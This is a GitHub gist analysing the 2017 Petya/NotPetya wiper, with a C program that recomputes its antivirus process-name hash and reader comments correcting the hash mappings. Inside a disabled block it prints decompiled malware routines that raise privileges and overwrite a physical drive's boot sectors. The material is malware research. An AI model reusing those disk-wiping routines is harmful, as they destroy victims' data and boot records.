Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@msuiche
Created June 29, 2017 06:14
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save msuiche/cf268fddd16aaa3f67cacc5838d60c1e to your computer and use it in GitHub Desktop.
Save msuiche/cf268fddd16aaa3f67cacc5838d60c1e to your computer and use it in GitHub Desktop.
Petya.2017
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//
// The mysterious command (0x2E214B44) results in the first 10 sectors being wiped out.Or if the original replaceBootSectors() function fails.
//
// 0x2E214B44 ??? => Mysterious process. Name very close to AVP.exe
// Source of below hashes: https://www.carbonblack.com/2017/06/28/carbon-black-threat-research-technical-analysis-petya-notpetya-ransomware/
// 0x2E014B44 (AVP.exe) Kaspersky
// 0x651B3005 (NS.exe) Norton Security
// 0x6403527E (ccSvcHst.exe) Symantec
#define NO_WIPER_MODE 8
#if 0
The mysterious command results in the first 10 sectors being wiped out. Or if the original replaceBootSectors() function fails.
void init()
{
signed int v0; // esi@1
v0 = 0;
if (!dword_1001F114)
{
startingTime = GetTickCount();
if (SetTokenPrivilege(L"SeShutdownPrivilege"))
v0 = 1;
if (SetTokenPrivilege(L"SeDebugPrivilege"))
v0 |= 2u;
if (SetTokenPrivilege(L"SeTcbPrivilege"))
v0 |= 4u;
g_TokenPrivileges = v0;
g_Mode = getModeBasedOnRansomware();
if (GetModuleFileNameW(Src, &pszPath, 0x30Cu))
sub_10008ACF();
}
}
int overwriteBootSectors()
{
HANDLE v0; // edi@1
HLOCAL v1; // ebx@3
int result; // eax@7
DWORD BytesReturned; // [sp+Ch] [bp-1Ch]@2
char OutBuffer; // [sp+10h] [bp-18h]@2
LONG BytesPerSector; // [sp+24h] [bp-4h]@3
v0 = CreateFileA("\\\\.\\C:", 0x40000000u, 3u, 0, 3u, 0, 0);
if (v0)
{
if (DeviceIoControl(v0, 0x70000u, 0, 0, &OutBuffer, 0x18u, &BytesReturned, 0))
{
v1 = LocalAlloc(0, 10 * BytesPerSector);
if (v1)
{
SetFilePointer(v0, BytesPerSector, 0, 0);// pointer at 0x200 (sector 1)
WriteFile(v0, v1, BytesPerSector, &BytesReturned, 0);// pointer at erase 0x200 - 0x400
LocalFree(v1);
}
}
CloseHandle(v0);
}
if (!(g_Mode & 8) || (result = replaceBootSectors()) != 0)
result = wipeMode();
return result;
}
signed int wipeMode()
{
HANDLE hDevice; // ebx@1
signed int result; // eax@2
char geometry; // [sp+10h] [bp-20h]@3
int BytesPerSector; // [sp+24h] [bp-Ch]@3
LPCVOID lpBuffer; // [sp+28h] [bp-8h]@3
DWORD BytesReturned; // [sp+2Ch] [bp-4h]@3
hDevice = CreateFileA("\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0, 3u, 0, 0);
if (hDevice)
{
DeviceIoControl(hDevice, 0x70000u, 0, 0, &geometry, 0x18u, &BytesReturned, 0);// IOCTL_DISK_GET_DRIVE_GEOMETRY
//
lpBuffer = LocalAlloc(0, 10 * BytesPerSector);
if (lpBuffer)
{
DeviceIoControl(hDevice, 0x90020u, 0, 0, 0, 0, &BytesReturned, 0);// FSCTL_DISMOUNT_VOLUME
WriteFile(hDevice, lpBuffer, 10 * BytesPerSector, &BytesReturned, 0);
LocalFree((HLOCAL)lpBuffer);
}
CloseHandle(hDevice);
result = 1;
}
else
{
result = 0;
}
return result;
}
#endif
int getHash(LPWSTR processName)
{
int command, round, processLen, bitshift, index;
char *v4, v5;
command = 0x12345678;
round = 0;
processLen = wcslen(processName);
do
{
index = 0;
if (processLen)
{
bitshift = round;
do
{
v4 = (char *)&command + (bitshift & 3);
v5 = (*v4 ^ LOBYTE(processName[index++])) - 1;
++bitshift;
*v4 = v5;
} while (index < processLen);
}
++round;
} while (round < 3);
return command;
}
int
getMode(
int command
) {
int mode = -1;
if (command == 0x2E214B44) // mysterious command.
{
mode &= 0xFFFFFFF7; // keep kill disk flag that will trigger the NO_WIPER_MODE
}
else if (command == 0x6403527E || command == 0x651B3005)
{
mode &= 0xFFFFFFFB; // safe
}
printf("Hash: 0x%x\n", command);
if (!(mode & NO_WIPER_MODE)) {
printf("MBR PhysicalDisk0 erased. overwrite10firstsectors()\n");
}
else {
printf("MBR replacement with the ransomware that display the fake key on screen.\n");
}
return mode;
}
int wmain(
int argc,
LPWSTR *argv
)
{
int command;
int mode = -1;
printf("DISK_GEOMETRY.BytesPerSector at 0x%x\n", FIELD_OFFSET(DISK_GEOMETRY, BytesPerSector));
if (argc >= 2) command = getHash(argv[1]);
else command = getHash(L"ccSvcHst.exe");
getMode(command);
return false;
}
@tombonner
Copy link

0x2e214b44 = avp.exe
0x6403527e = cCSvchst.exe
0x651b3005 = NS.exe

@Rurik
Copy link

Rurik commented Jun 30, 2017

Eeek, 0x2E214B44 is indeed avp.exe in all lowercase. That was an unintentional formatting issue from Carbon Black (which there should've been zero tolerance for). I'm issuing a correction to the post this morning.

@tombonner
Copy link

The poor hash function also has multiple collisions, for example:

cCSvchst.exe = 0x6403527e
ccSvcHst.exe = 0x6403527e

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment